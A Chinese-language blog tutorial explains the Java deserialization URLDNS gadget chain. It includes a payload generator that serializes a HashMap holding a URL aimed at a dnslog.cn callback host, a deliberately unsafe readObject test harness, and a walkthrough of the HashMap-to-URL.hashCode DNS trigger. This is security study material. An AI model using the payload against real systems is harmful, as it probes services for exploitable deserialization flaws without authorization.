Java反序列化(URLDNS)
2024-03-15 00:00:00 # Java

URLDNS链

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;


public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception{
unserialize("ser.bin");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class URLDNSTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
HashMap<URL,Integer> hashmap=new HashMap<>();
URL url = new URL("http://7muliu.dnslog.cn");
//为了避免put时候发起请求,先将hashcode的值改成非-1的
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1);
hashmap.put(url,1);
hashcodefield.set(url,-1);
serialize(hashmap);
}
}

分析

这条链调用的目标是URL类的hashcode方法,通过getHostAddress产生DNS请求。

入口类就是HashMap,它的readObject方法中调用了hash函数

image-20240315144507447

然后hash函数中又调用了hashCode

image-20240315144604889

然后下一步就是给HashMap传入URL类,这样就可以调用URLhash,进一步调用URLhashhashCode

1
2
HashMap<URL,Integer> hashmap=new HashMap<>();
URL url = new URL("http://7muliu.dnslog.cn");

这里填写好dns地址,然后实例化两个类的对象

HashMap类的put方法中有调用到hash函数,同样会发起dns请求,为了不让序列化的过程中产生这个请求,需要把hashCode的值改成非-1的值

image-20240315145229858

1
2
3
4
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1);

这里用反射获取URL的原型类,然后获取hashCode并设置值为1

1
2
3
hashmap.put(url,1);
hashcodefield.set(url,-1);
serialize(hashmap);

put完之后再将hashCode的值改回-1,然后序列化

最后解决几个问题

为什么入口类用HashMap,不直接用URL

之前看过了HashMap类的readObject方法,下面看一下URLreadObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private synchronized void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
GetField gf = s.readFields();
String protocol = (String)gf.get("protocol", null);
if (getURLStreamHandler(protocol) == null) {
throw new IOException("unknown protocol: " + protocol);
}
String host = (String)gf.get("host", null);
int port = gf.get("port", -1);
String authority = (String)gf.get("authority", null);
String file = (String)gf.get("file", null);
String ref = (String)gf.get("ref", null);
int hashCode = gf.get("hashCode", -1);
if (authority == null
&& ((host != null && !host.isEmpty()) || port != -1)) {
if (host == null)
host = "";
authority = (port == -1) ? host : host + ":" + port;
}
tempState = new UrlDeserializedState(protocol, host, port, authority,
file, ref, hashCode);
}

他的readObject类中没有有用的调用,虽然也有一个名字是hashCode,但对应的值是一个变量,并不是目标函数,而我们的目标是URLhashCode方法,恰好HashMapreadObject调用了hash然后调用了hashCode,然后把URL类的对象url传入HashMap,就等于调用了URL类的hashCode